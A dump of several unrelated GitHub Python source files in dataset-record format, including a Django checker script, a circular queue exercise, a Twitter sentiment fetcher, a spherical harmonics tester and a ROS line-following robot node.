results\n","repo_name":"jaryP/Semantic-role-labeler","sub_path":"codice/disambiguate/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":8527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35950119640","text":"from functools import partial\n\nimport numpy as np\nfrom django.db.models import Q\n\nfrom holon.models import BuildingGridConnection, HouseGridConnection, Scenario\nfrom holon.models.util import duplicate_model\n\nnp.random.seed(0)\n\n\nhouse_ndf = {\n \"tempSetpointNight_degC\": partial(np.random.normal, loc=15, scale=0.5, size=1),\n \"tempSetpointNight_start_hr\": partial(np.random.normal, loc=22, scale=1, size=1),\n \"tempSetpointDay_degC\": partial(np.random.normal, loc=20, scale=0.5, size=1),\n \"tempSetpointDay_start_hr\": partial(np.random.normal, loc=8, scale=0.5, size=1),\n \"pricelevelLowDifFromAvg_eurpkWh\": partial(np.random.normal, loc=0.018, scale=0.004, size=1),\n \"pricelevelHighDifFromAvg_eurpkWh\": partial(np.random.normal, loc=0.009, scale=0.002, size=1),\n}\n\n\nmultis = [\n {\n \"id\": 14,\n \"action\": [\n {\"model\": HouseGridConnection, \"type\": None, \"factor\": 19, \"ndf\": house_ndf},\n {\"model\": BuildingGridConnection, \"type\": None, \"factor\": 19, \"ndf\": house_ndf},\n ],\n },\n {\n \"id\": 15,\n \"action\": [\n {\"model\": HouseGridConnection, \"type\": None, \"factor\": 39, \"ndf\": house_ndf},\n ],\n },\n {\n \"id\": 16,\n \"action\": [\n {\"model\": HouseGridConnection, \"type\": None, \"factor\": 39, \"ndf\": house_ndf},\n ],\n },\n {\n \"id\": 17,\n \"action\": [\n {\"model\": HouseGridConnection, \"type\": None, \"factor\": 39, \"ndf\": house_ndf},\n ],\n },\n {\n \"id\": 18,\n \"action\": [\n {\"model\": HouseGridConnection, \"type\": \"TERRACED\", \"factor\": 29, \"ndf\": house_ndf},\n {\"model\": HouseGridConnection, \"type\": \"SEMIDETACHED\", \"factor\": 9, \"ndf\": house_ndf},\n ],\n },\n {\n \"id\": 19,\n \"action\": [\n {\"model\": HouseGridConnection, \"type\": None, \"factor\": 39, \"ndf\": house_ndf},\n ],\n },\n]\n\nscenario = Scenario.objects.get(id=1)\n\n\ndef run():\n for m in multis:\n gridnode = scenario.gridnode_set.get(id=m[\"id\"])\n for ma in m[\"action\"]:\n print(\n f\"\\U0001F449 Should find {ma['factor']+1} instances of type {ma['model'].__name__} ({ma['type']})\"\n )\n\n if ma[\"type\"] is None:\n count = gridnode.gridconnection_set.instance_of(ma[\"model\"]).all().count()\n else:\n count = (\n gridnode.gridconnection_set.instance_of(ma[\"model\"])\n .filter(Q(HouseGridConnection___type=ma[\"type\"]))\n .all()\n .count()\n )\n if count == ma[\"factor\"] + 1:\n check = \"\\U00002705\"\n else:\n check = \"\\U0000214C\"\n\n print(\n f\"\\t {check} Found {count} instances of type {ma['model'].__name__} ({ma['type']}){check}\\n \"\n )\n","repo_name":"ZEnMo/Holon-webapp","sub_path":"src/holon/scripts/tvw_duplicator_checker.py","file_name":"tvw_duplicator_checker.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"15243225759","text":"def calculate():\r\n c, d, v = [int(x) for x in input().split()]\r\n coins = [int(x) for x in input().split()]\r\n\r\n currentMax = 0;\r\n extraCoin = 0;\r\n\r\n for i in range(len(coins)):\r\n if currentMax > v:\r\n return extraCoin\r\n while currentMax < coins[i] - 1:\r\n extraCoin += 1\r\n currentMax += (currentMax + 1) * c\r\n currentMax += coins[i] * c\r\n\r\n while currentMax < v:\r\n extraCoin += 1\r\n currentMax += (currentMax + 1) * c\r\n\r\n return extraCoin\r\n\r\n\r\n\r\n\r\n\r\ndef main():\r\n ncase = int(input())\r\n for i in range(ncase):\r\n print('Case #{}: {}'.format(i+1, calculate()))\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/CodeJamData/15/33/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"19756018266","text":"import mongoengine\nfrom flask_cors import CORS\nfrom flask import Flask\nfrom flask_restplus import Api\nfrom views import campaign_api, match_api, event_api, rule_api, character_api, damage_api\n\napp = Flask(__name__)\nCORS(app)\n\napi = Api(app = app, \n\t\t version = \"1.0\", \n\t\t title = \"MoP - Campaigns service\", \n\t\t description = \"Campaigns service API\")\n\nif __name__ == '__main__':\n mongoengine.connect(db='mop', host='mongodb://mongo_main:27017/mop',\n alias='campaigns_connection')\n\n api.add_namespace(campaign_api.api)\n api.add_namespace(event_api.api)\n api.add_namespace(match_api.api)\n api.add_namespace(rule_api.api)\n api.add_namespace(character_api.api)\n api.add_namespace(damage_api.api)\n \n app.run(host='0.0.0.0', port=5001, debug=True)\n","repo_name":"desenho-de-software-2019-02/master_of_puppets","sub_path":"services/campaigns/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"23776696711","text":"# '''\n# Design Circular Queue\n\n# Design your implementation of the circular queue. The circular queue is a linear data structure in which the operations are performed based on FIFO (First In First Out) principle and the last position is connected back to the first position to make a circle. It is also called \"Ring Buffer\".\n\n# One of the benefits of the circular queue is that we can make use of the spaces in front of the queue. In a normal queue, once the queue becomes full, we cannot insert the next element even if there is a space in front of the queue. But using the circular queue, we can use the space to store new values.\n\n# Implementation the MyCircularQueue class:\n\n# MyCircularQueue(k) Initializes the object with the size of the queue to be k.\n# int Front() Gets the front item from the queue. If the queue is empty, return -1.\n# int Rear() Gets the last item from the queue. If the queue is empty, return -1.\n# boolean enQueue(int value) Inserts an element into the circular queue. Return true if the operation is successful.\n# boolean deQueue() Deletes an element from the circular queue. Return true if the operation is successful.\n# boolean isEmpty() Checks whether the circular queue is empty or not.\n# boolean isFull() Checks whether the circular queue is full or not.\n\n \n\n# Example 1:\n\n# Input\n# [\"MyCircularQueue\", \"enQueue\", \"enQueue\", \"enQueue\", \"enQueue\", \"Rear\", \"isFull\", \"deQueue\", \"enQueue\", \"Rear\"]\n# [[3], [1], [2], [3], [4], [], [], [], [4], []]\n# Output\n# [null, true, true, true, false, 3, true, true, true, 4]\n\n# Explanation\n# MyCircularQueue myCircularQueue = new MyCircularQueue(3);\n# myCircularQueue.enQueue(1); // return True\n# myCircularQueue.enQueue(2); // return True\n# myCircularQueue.enQueue(3); // return True\n# myCircularQueue.enQueue(4); // return False\n# myCircularQueue.Rear(); // return 3\n# myCircularQueue.isFull(); // return True\n# myCircularQueue.deQueue(); // return True\n# myCircularQueue.enQueue(4); // return True\n# myCircularQueue.Rear(); // return 4\n\n \n\n# Constraints:\n\n# 1 <= k <= 1000\n# 0 <= value <= 1000\n# At most 3000 calls will be made to enQueue, deQueue, Front, Rear, isEmpty, and isFull.\n\n \n# Follow up: Could you solve the problem without using the built-in queue? \n# '''\n\n# class MyCircularQueue:\n\n# def __init__(self, k: int):\n# self.data = [None] * k\n# self.head = self.tail = None\n# self.size = k\n\n# def enQueue(self, value: int) -> bool:\n# if self.isEmpty():\n# self.head = self.tail = 0\n# self.data[self.tail] = value\n# elif self.isFull():\n# return False\n# elif self.tail < self.size-1: #or combine both cases with if tail <= k-1: self.tail=(self.tail+1)%k, self.data[self.tail] = value\n# self.tail += 1\n# self.data[self.tail] = value\n# # print(self.head, self.tail, self.data)\n# elif self.tail == self.size-1:\n# self.tail = 0\n# self.data[self.tail] = value\n# return True\n\n# def deQueue(self) -> bool:\n# if self.isEmpty():\n# return False\n# elif self.head == self.tail:\n# self.head = self.tail = None\n# elif self.head int:\n# return self.data[self.head] if self.head is not None else -1\n\n# def Rear(self) -> int:\n# return self.data[self.tail] if self.tail is not None else -1\n\n# def isEmpty(self) -> bool:\n# return True if self.head is None else False\n\n# def isFull(self) -> bool:\n# if self.head is not None:\n# if (self.tail - self.head == self.size-1) or (self.head - self.tail == 1): #or return (self.tail+1)%self.size==self.head\n# return True\n# return False\n\n# def __str__(self):\n# if self.head is not None:\n# if self.head<=self.tail:\n# return str(self.data[self.head:self.tail+1])\n# else:\n# return str(self.data[:self.tail+1]+self.data[self.head:])\n# return 'None'\n\n\n# # Your MyCircularQueue object will be instantiated and called as such:\n# # obj = MyCircularQueue(k)\n# # param_1 = obj.enQueue(value)\n# # param_2 = obj.deQueue()\n# # param_3 = obj.Front()\n# # param_4 = obj.Rear()\n# # param_5 = obj.isEmpty()\n# # param_6 = obj.isFull()\n\n\n# # [\"MyCircularQueue\", \"enQueue\", \"enQueue\", \"enQueue\", \"enQueue\", \"Rear\", \"isFull\", \"deQueue\", \"enQueue\", \"Rear\"]\n# # [[3], [1], [2], [3], [4], [], [], [], [4], []]\n# # Output\n# # [null, true, true, true, false, 3, true, true, true, 4]\n# q = MyCircularQueue(6)\n# print(q.enQueue(6))\n# # print(q.enQueue(2))\n# # print(q)\n# print(q.deQueue())\n# print(q)\n# print(q.deQueue())\n# print(q)\n# print(q.deQueue())\n# print(q)\n# # print(q)\n# # print(q.l)\n# # print(q.head)\n# # print(q.tail)\n# # i = 0\n# # for _ in range(4):\n# # i+=1\n# # print(q.enQueue(i))\n# # print(q)\n# # # print(q.enQueue(1))\n# # # print(q.enQueue(2))\n# # # print(q.enQueue(3))\n# # # print(q.enQueue(4))\n# # print(q.Rear())\n# # print(q.isFull())\n# # print(q.deQueue())\n# # print(q)\n# # print(q.Rear())\n# # print(q.l, q.head, q.tail)\n\n# '''\n# i/p: [\"MyCircularQueue\",\"enQueue\",\"Rear\",\"Rear\",\"deQueue\",\"enQueue\",\"Rear\",\"deQueue\",\"Front\",\"deQueue\",\"deQueue\",\"deQueue\"]\n# [[6],[6],[],[],[],[5],[],[],[],[],[],[]]\n# My o/p: [null,true,6,6,false,true,5,false,-1,false,false,false]\n# Real o/p: [null,true,6,6,true,true,5,true,-1,false,false,false]\n# '''\n\n#my try again\n\nclass MyCircularQueue:\n\n def __init__(self, k: int):\n self.l = [None]*k\n self.head = None\n self.tail = None\n self.size = 0\n self.k = k\n\n def enQueue(self, value: int) -> bool:\n if not self.isFull():\n if self.isEmpty():\n self.head = self.tail = 0\n self.l[self.head] = value\n else:\n self.tail = (self.tail + 1) % self.k\n self.l[self.tail] = value\n self.size += 1\n return True\n else: return False\n\n def deQueue(self) -> bool:\n if not self.isEmpty():\n self.head = (self.head + 1) % self.k\n self.size -= 1\n if self.isEmpty():\n self.head = self.tail = None\n return True\n else: return False\n \n\n def Front(self) -> int:\n return self.l[self.head] if any(self.l) else -1\n\n def Rear(self) -> int:\n return self.l[self.tail] if any(self.l) else -1\n\n def isEmpty(self) -> bool:\n return not self.size\n\n def isFull(self) -> bool:\n return self.size == self.k\n\n\n# Your MyCircularQueue object will be instantiated and called as such:\n# obj = MyCircularQueue(k)\n# param_1 = obj.enQueue(value)\n# param_2 = obj.deQueue()\n# param_3 = obj.Front()\n# param_4 = obj.Rear()\n# param_5 = obj.isEmpty()\n# param_6 = obj.isFull()\n\n# Input\ninp = [\"MyCircularQueue\", \"enQueue\", \"enQueue\", \"enQueue\", \"enQueue\", \"Rear\", \"isFull\", \"deQueue\", \"enQueue\", \"Rear\"]\npara = [[3], [1], [2], [3], [4], [], [], [], [4], []]\n# Output\nout = '[null, true, true, true, false, 3, true, true, true, 4]'\nres = [None]\nobj = MyCircularQueue(para[0][0])\nprint(obj.l)\nfor i in range(1, len(inp)):\n fun = inp[i]\n if fun == \"Front\":\n res.append(obj.Front())\n elif fun == \"Rear\":\n res.append(obj.Rear())\n elif fun == \"enQueue\":\n res.append(obj.enQueue(para[i][0] if para[i] else None))\n elif fun == \"deQueue\":\n res.append(obj.deQueue())\n elif fun == \"isEmpty\":\n res.append(obj.isEmpty())\n elif fun == \"isFull\":\n res.append(obj.isFull())\n print(obj.l)\nprint(res)","repo_name":"jomesh18/Leetcode","sub_path":"Queue & Stack/circular_queue.py","file_name":"circular_queue.py","file_ext":"py","file_size_in_byte":7812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42862117493","text":"import numpy as np\nimport pylayers.antprop.loss as loss\nimport polarTransform as pt\nfrom REMGeneration.utils import get_terrain_from_info\nfrom multiprocessing import Pool\n\nclass REMGenerator:\n\n def __init__(self, Ht=None, Hr=1.5, fGHz=0.474166, K=1.3333, polar_radius=200, polar_radius_points=200, polar_angle=720, polar_order=3, ncpus = 1):\n\n if Ht is None:\n Ht = [60]\n\n self.Ht = Ht\n self.Hr = Hr\n self.fGHz = fGHz\n self.K = K\n\n self.polar_radius = polar_radius\n self.polar_radius_points = polar_radius_points\n self.polar_angle = polar_angle\n self.polar_order = polar_order\n\n phi = np.linspace(0, 2 * np.pi, self.polar_angle)[:, None]\n r = np.linspace(0, self.polar_radius, self.polar_radius_points)[None, :]\n self.x = r * np.cos(phi)\n self.y = r * np.sin(phi)\n\n self.ncpus = ncpus\n\n def convertToPolar(self, terrain, center=(0, 0)):\n\n polar_terrain = pt.convertToPolarImage(terrain,\n radiusSize=self.polar_radius_points,\n angleSize=self.polar_angle,\n center=center,\n hasColor=False,\n order=self.polar_order)\n self.settings = polar_terrain[1]\n return polar_terrain\n\n def convertToCartesian(self, rem, settings=None):\n\n if not settings:\n settings = self.settings\n return pt.convertToCartesianImage(rem, settings=settings)\n\n def getREM(self, terrain, center,ht):\n\n polar_terrain, settings = self.convertToPolar(terrain, center=center)\n rem = -loss.cover(X=self.x,\n Y=self.y,\n Z=polar_terrain,\n Ha=ht,\n Hb=self.Hr,\n fGHz=self.fGHz,\n K=self.K\n )\n\n rem = np.abs(rem.min())+rem\n\n return np.flip(self.convertToCartesian(rem[:, :, 0], settings=settings)[0], axis=0)\n\n def getREMS(self, terrain_info):\n\n terrain = get_terrain_from_info(terrain_info)\n\n center_start = len(terrain)//4\n center_end = 3*len(terrain)//4\n\n params = []\n for cx in range(center_start,center_end):\n for cy in range(center_start,center_end):\n for ht in self.Ht:\n params.append((terrain, (cx, cy),ht))\n\n rems = []\n with Pool(processes=self.ncpus) as pool:\n\n for i in range(0,len(params),self.ncpus):\n rems += pool.starmap(self.getREM,params[i:i+self.ncpus])\n\n return np.array(rems)\n\n\nif __name__ == '__main__':\n rem_gen = REMGenerator()\n terrain = np.zeros((100,100))\n terrain[20:40,70:90] = 40\n terrain[10:15,30:40] = 20\n\n remsample = rem_gen.getREM(terrain,center=(50,50),ht=50)\n print(remsample)\n\n","repo_name":"kushjajal30/MTP","sub_path":"REMGeneration/REMGenerator.py","file_name":"REMGenerator.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"39272603019","text":"import sys\nimport math\n\n# True if submitting to kattis\n# fast method\ninput = True\n\ndef readdata(input):\n if input:\n data = sys.stdin.read().splitlines()\n else:\n with open('sample.in') as f:\n data = f.read().splitlines()\n return data\ndef list_2_matrix(str_list):\n matrix = []\n length = len(str_list)\n for i in range(0, length):\n temp = str_list[i].split(' ')\n temp = list(map(int, temp))\n matrix.append(temp)\n return matrix\n\ndef loop(input):\n data = list_2_matrix(readdata(input))\n count = 0\n while not(data[count][0] == 0 and data[count][1] == 0):\n a = data[count][0]\n b = data[count][1]\n calc_collatz_2(a, b)\n count += 1\n return 0\n# recursive not working\ndef calc_collatz(a, s_a, b, s_b):\n if a % 2 == 0:\n a_prim = int(a / 2)\n else:\n a_prim = 3 * a + 1\n if b % 2 == 0:\n b_prim = int(b / 2)\n else:\n b_prim = 3 * b + 1\n\n if a == b:\n return [a, s_a, s_b]\n elif a == 1:\n x = calc_collatz(a, s_a, b_prim, s_b + 1)\n return x\n elif b == 1:\n y = calc_collatz(a_prim, s_a + 1, b, s_b)\n return y\n else:\n x = calc_collatz(a, s_a, b_prim, s_b + 1)\n y = calc_collatz(a_prim, s_a + 1, b, s_b)\n\n x_sum = x[1] + x[2]\n y_sum = y[1] + y[2]\n\n if x_sum > y_sum:\n return x\n else:\n return y\n\ndef calc_first_collatz(n, dict):\n count = 0\n while n > 1:\n if n % 2 == 0:\n n = int(n / 2)\n else:\n n = n * 3 + 1\n count += 1\n dict[n] = count\ndef calc_second_collatz(n, dict):\n count = 0\n if n in dict:\n return count, n\n else:\n while n > 1:\n if n % 2 == 0:\n n = int(n / 2)\n else:\n n = n * 3 + 1\n count += 1\n if n in dict:\n return count, n\ndef calc_collatz_2(a,b):\n\n dict = {a : 0}\n calc_first_collatz(a, dict)\n res = calc_second_collatz(b, dict)\n count = res[0]\n n = res[1]\n print(str(a) + \" needs \" + str(dict[n]) + \" steps, \" + str(b) + \" needs \" + str(count) + \" steps, they meet at \" + str(n))\n\n\nloop(input)\n","repo_name":"Dalletheman/python","sub_path":"cattis/collatz_conjecture/collatz_conjecture.py","file_name":"collatz_conjecture.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4047626081","text":"import sys\nimport tweepy\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\n\n\ndef loadkeys(filename):\n \"\"\"\"\n load twitter api keys/tokens from CSV file with form\n consumer_key, consumer_secret, access_token, access_token_secret\n \"\"\"\n with open(filename) as f:\n items = f.readline().strip().split(', ')\n return items\n\n\ndef authenticate(twitter_auth_filename):\n \"\"\"\n Given a file name containing the Twitter keys and tokens,\n create and return a tweepy API object.\n \"\"\"\n key_items = loadkeys(twitter_auth_filename)\n auth = tweepy.OAuthHandler(key_items[0], key_items[1])\n auth.set_access_token(key_items[2], key_items[3])\n api = tweepy.API(auth)\n return api\n\n\ndef fetch_tweets(api, name):\n \"\"\"\n Given a tweepy API object and the screen name of the Twitter user,\n create a list of tweets where each tweet is a dictionary with the\n following keys:\n\n id: tweet ID\n created: tweet creation date\n retweeted: number of retweets\n text: text of the tweet\n hashtags: list of hashtags mentioned in the tweet\n urls: list of URLs mentioned in the tweet\n mentions: list of screen names mentioned in the tweet\n score: the \"compound\" polarity score from vader's polarity_scores()\n\n Return a dictionary containing keys-value pairs:\n\n user: user's screen name\n count: number of tweets\n tweets: list of tweets, each tweet is a dictionary\n\n For efficiency, create a single Vader SentimentIntensityAnalyzer()\n per call to this function, not per tweet.\n \"\"\"\n response = api.user_timeline(name, count=100)\n tweet_list = list()\n analyzer = SentimentIntensityAnalyzer()\n\n for res in response:\n tweet_dict = {'id': res.id,\n 'created': res.created_at.date(),\n 'retweeted': res.retweet_count,\n 'text': res.text,\n 'hashtags': res.entities['hashtags'],\n 'urls': res.entities['urls'],\n 'mentions': res.entities['user_mentions'],\n 'score': analyzer.polarity_scores(res.text)\n }\n tweet_list.append(tweet_dict)\n final_dict = {\n 'user': name,\n 'count': len(response),\n 'tweets': tweet_list\n }\n return final_dict\n\n\ndef fetch_following(api, name):\n \"\"\"\n Given a tweepy API object and the screen name of the Twitter user,\n return a a list of dictionaries containing the followed user info\n with keys-value pairs:\n\n name: real name\n screen_name: Twitter screen name\n followers: number of followers\n created: created date (no time info)\n image: the URL of the profile's image\n\n To collect data: get a list of \"friends IDs\" then get\n the list of users for each of those.\n \"\"\"\n response = api.friends_ids(name)\n dict_list = list()\n for res in response:\n followed = api.get_user(res)\n user_dict = {\n 'name': followed.name,\n 'screen_name': followed.screen_name,\n 'followers': followed.followers_count,\n 'created': followed.created_at.date(),\n 'image': followed.profile_image_url\n }\n dict_list.append(user_dict)\n dict_list = sorted(dict_list, key=lambda k: k['followers'], reverse=True)\n return dict_list\n\n","repo_name":"akkiittiwari/tweets-sentiment-analysis","sub_path":"tweetie.py","file_name":"tweetie.py","file_ext":"py","file_size_in_byte":3397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29705117861","text":"\nfrom django.conf import settings\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', include('burguer.urls'))\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\n\n\n# Nome na página de Login e no header do django admin\nadmin.site.site_header = 'PyBurguer - Sistema de Hamburguerias' \n# Nome que aparece no titulo da aba do navegador\nadmin.site.site_title = 'PyBurguer' \n# Nome no lado esquerdo do painel django admin\nadmin.site.index_title = 'PyBurguer' ","repo_name":"ElielCesar/PyBurguer","sub_path":"pyburger_core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15692369772","text":"# 10/11/17 signs are still off!\n# set up the code so that it accepts negative m. Turns it positive, runs the code, outputs Yneg\n# Only need one outarg\n\nimport numpy as np\nimport cmath as c\nimport scipy as scipy\nfrom scipy import special\n\n#user provides m,n,theta, and lambda\nN,M,THETA,LAM = input(\"Give n,m,theta, and lambda: \").split()\n\nN = float(N)\nM = abs(float(M))\nTHETA = float(eval(THETA)) #evaluate numpy expressions, for example\nLAM = float(eval(LAM)) #evaluate numpy expressions, for example\n\n\n#Spherical Harmonics - Complex Exponential Form\ndef spherical_harmonics(n,m,theta,lam):\n\tm = abs(m)\n\tif n < m:\n\t\tY = float('NaN')\n\t\tprint(\"n must be greater than or equal to m\")\n\t\treturn Y\n\t\tquit()\n\n\n\t#normalization\n\tnorm_const = normalize(n,m)\n\t# Y_pos_m = c.exp(1j*m*lam) * Leg_poly(n,m,theta)\n\t# Y_pos_m = normaliziation * Y_pos_m\n\n\tif m >= 0:\n\t\tY = c.exp(1j*m*lam) * Leg_poly(n,m,theta) * norm_const\n\telse:\n\t\tY = c.exp(-1j*m*lam) * Leg_poly(n,m,theta) * norm_const * (-1)**m\n\treturn Y\n\n\n\t# if m != 0:\n\t# \tY_neg_m = c.exp(-1j*m*lam) * Leg_poly(n,m,theta) * (-1)**m\n\t# \tY_neg_m = norm_const * Y_neg_m\n\t# else:\n\t# \tY_neg_m = \"No Y_negative\"\n\t# return Y_pos_m,Y_neg_m\n\n\n# Normalization\ndef normalize(n,m):\n\tK = np.sqrt( ((2*n+1)/(4*np.pi)) * (np.math.factorial(n - m)/np.math.factorial(n + m)) )\n\tK = K * dub_fact(2*M - 1) * (-1)**m # this is mysterious but it makes the code work!\n\treturn K\n\n# double factorial --- used for normalization...but why?\ndef dub_fact(k):\n\tif k <= 0:\n\t\treturn 1\n\telse:\n\t\treturn k * dub_fact(k-2)\n\n# Associated Legendre Polynomials\ndef Leg_poly(n,m,theta):\n\tm_prime = m + 0.5 # adjust to definition in Boyd appendix A\n\tP = ((np.sin(theta))**m) * Geg_poly(n-m,m_prime,np.cos(theta))\n\t# print(\"Leg_poly gives me P = \",P) # used for testing\n\treturn P\n\n\n# Gegenbauer Polynomials - takes floating points n,m, and x\ndef Geg_poly(n,m,x): #defined recursively!\n\tif n == 0:\n\t\tC = 1\n\telif n == 1:\n\t\tC = 2*m*x\n\telse:\n\t\tC = (1/n)*( 2*x*(n+m-1)*Geg_poly(n-1,m,x) - (n+(2*m)-2)*Geg_poly(n-2,m,x) )\n\t# print(\"Geg_poly: Given n,m,x = \",n,m,x,\", I output C = \",C) # used for testing\n\treturn C\n\n\n\n\n\n\n# myY = spherical_harmonics(N,M,THETA,LAM)\n# print(\"MY ~~ Y(n,m) = \",myY)\n# #print(\"Y(n,-m) = \",myY_neg)\n# theirY= scipy.special.sph_harm(M,N,LAM,THETA)\n# print(\"Their Y(n,m) = \",theirY)\n\n\n\n\n\n\n#################################################################\n#################################################################\n######## TESTING / TESTING / TESTING / TESTING / TESTING ########\n#################################################################\n#################################################################\n\n\n\nprint(\"~~~~~~~~~~~~\")\nprint(\" \")\nprint(\" \")\nprint(\" \")\nprint(\" \")\nprint(\" \")\nprint(\"~~~~~~~~~~~~\")\n\n# test a few values of my sph_harm vs scipy.special.sph_harm --- phi = lam\nLAM = np.pi/4\nTHETA = np.pi/4\nsuccess = 0\niMax = 10\nfor i in range(0,iMax):\n\tM = -i\n\tN = i + 2\n\tmyY = spherical_harmonics(N,M,THETA,LAM)\n\ttheirY = scipy.special.sph_harm(M,N,LAM,THETA)\n\tprint(\"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\")\n\tprint(\"iteration \",i)\n\tprint(\"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\")\n\tprint(\"N = \",N,\", M = \",M,\", THETA = \",THETA,\", PHI = \",LAM)\n\tprint(\"mine: \",myY)\n\tprint(\"theirs: \",theirY)\n\tif np.float32(myY.real) == np.float32(theirY.real) and np.float32(myY.imag) == np.float32(theirY.imag):\n\t\tprint(\"Success!\")\n\t\tsuccess = success + 1\nprint(\" \")\nprint('\\033[1m' + str(success) + \" out of \" + str(iMax) + \" tests were successful\")\nprint('\\033[0m')\n\n\n\n\n\n\n\n\n\n\n# Notes for 10/9/17\n# Something is up with the recursion relation defined by all the texts (such as wolfram website)\n# n = 0, lambda free should give C = 1, but when using gegC[], it gives 0. if instead you force lambda/m to be 1\n# then it makes C = 1 as desired --- this solves some problems - then there are some division by zero errors\n# does the addition of elif n == 0 work?\n\n# Notes for 10/10/17\n# check how far off the Y values are for n!=m --- I suspect it is something using dub fact\n# make it a conditional! if n!=m, weight by dubfact\n\n# Notes for 10/13/17\n# nearly there --- negatives arent perfect (try 1 -1 np.pi/3 np.pi/5)\n\n\n\n","repo_name":"mgoldberg240/Physics_Thesis","sub_path":"python/spherical_harmonics.py","file_name":"spherical_harmonics.py","file_ext":"py","file_size_in_byte":4130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11437599461","text":"#!/usr/bin/env python\nimport rospy, cv2, cv_bridge, numpy\nfrom sensor_msgs.msg import Image\nfrom geometry_msgs.msg import Twist\nclass Follower:\n def __init__(self):\n \n rospy.init_node('follower')\n \n # sub and pub message\n self.image_sub = rospy.Subscriber('camera/rgb/image_raw',Image, self.image_callback)\n self.cmd_vel_pub = rospy.Publisher('cmd_vel_mux/input/teleop',Twist, queue_size=1)\n \n # initialize\n self.bridge = cv_bridge.CvBridge()\n cv2.namedWindow(\"window_yellow\", 1)\n cv2.namedWindow(\"window_yellow_t\", 1)\n cv2.namedWindow(\"window_red\", 1)\n \n # Give some time to fill its buffer\n rospy.sleep(2)\n self.twist = Twist()\n self.h, self.w, self.d = self.image.shape\n self.printnumber = 0\n \n while not rospy.is_shutdown():\n mask_yellow, mask_red, mask_yellow_t = self.generate_mask()\n # stop at RGB sign\n stop_threshold = 2000000\n flag_red = mask_red.sum()>stop_threshold\n if(not flag_red):\n #print(\"< threshold\")\n self.follow_yellow(mask_yellow)\n else:\n #print(\">= threshold\")\n # 1 turn left, -1 turn right\n self.printnumber += 1\n cv2.imwrite(\"redred_mask_%s.jpg\"% self.printnumber,mask_red)\n flag_turn = self.red_center(mask_red)\n rospy.sleep(0.1)\n self.twist = Twist() \n self.twist.linear.x = 0.5\n while(flag_red):\n mask_yellow, mask_red, mask_yellow_t = self.generate_mask()\n self.follow_yellow(mask_yellow)\n flag_red = mask_red.sum()>stop_threshold\n rospy.sleep(0.1)\n# for i in range(18):\n# mask_yellow, mask_red = self.generate_mask()\n# self.cmd_vel_pub.publish(self.twist)\n# cv2.imshow(\"window_yellow\", mask_yellow)\n# cv2.waitKey(3)\n# rospy.sleep(0.1)\n \n self.twist = Twist()\n if(flag_turn == 1):\n self.twist.angular.z = 1.3\n elif(flag_turn == -1):\n self.twist.angular.z = -1.3\n# elif(flag_red):\n# break\n print (\"turn\")\n self.cmd_vel_pub.publish(self.twist)\n rospy.sleep(1)\n \n # imshow\n cv2.imshow(\"window_yellow\", mask_yellow)\n cv2.waitKey(3)\n cv2.imshow(\"window_yellow_t\", mask_yellow_t)\n cv2.waitKey(3) \n \n def image_callback(self, msg):\n self.image = self.bridge.imgmsg_to_cv2(msg,desired_encoding='bgr8')\n \n def slice_mask(self, mask, t, b):\n search_top = 3*self.h/4 - t\n search_bot = 3*self.h/4 + b\n new_mask = mask.copy()\n new_mask[0:search_top, 0:self.w] = 0\n new_mask[search_bot:self.h, 0:self.w] = 0\n return new_mask\n \n def generate_mask(self):\n hsv = cv2.cvtColor(self.image, cv2.COLOR_BGR2HSV)\n lower_yellow = numpy.array([15,0,0])\n upper_yellow = numpy.array([36,255,255])\n lower_red = numpy.array([0,20,70])\n upper_red = numpy.array([10,255,250])\n mask_yellow = cv2.inRange(hsv, lower_yellow, upper_yellow)\n mask_red = cv2.inRange(hsv, lower_red, upper_red)\n \n # only use 20 rows\n mask_yellow_t = self.slice_mask(mask_yellow, 30, 60)\n mask_yellow = self.slice_mask(mask_yellow, 0, 20)\n mask_red = self.slice_mask(mask_red, 30, 60)\n \n return mask_yellow, mask_red, mask_yellow_t\n \n def red_center(self, mask_red):\n M = cv2.moments(mask_red)\n if M['m00'] > 0:\n cx = int(M['m10']/M['m00'])\n cy = int(M['m01']/M['m00'])\n cv2.circle(mask_red, (cx, cy), 20, (0,0,255), -1)\n left = 0\n while(mask_red[:, left].sum() < 1000):\n left += 1\n right = self.w-1\n while(mask_red[:, right].sum() < 1000):\n right -= 1\n cv2.circle(mask_red, (left, cy), 10, (0,0,255), -1)\n cv2.circle(mask_red, (right, cy), 10, (0,0,255), -1)\n cv2.imshow(\"window_red\", mask_red)\n if(cx - left < right - cx):\n print(\"right\")\n return 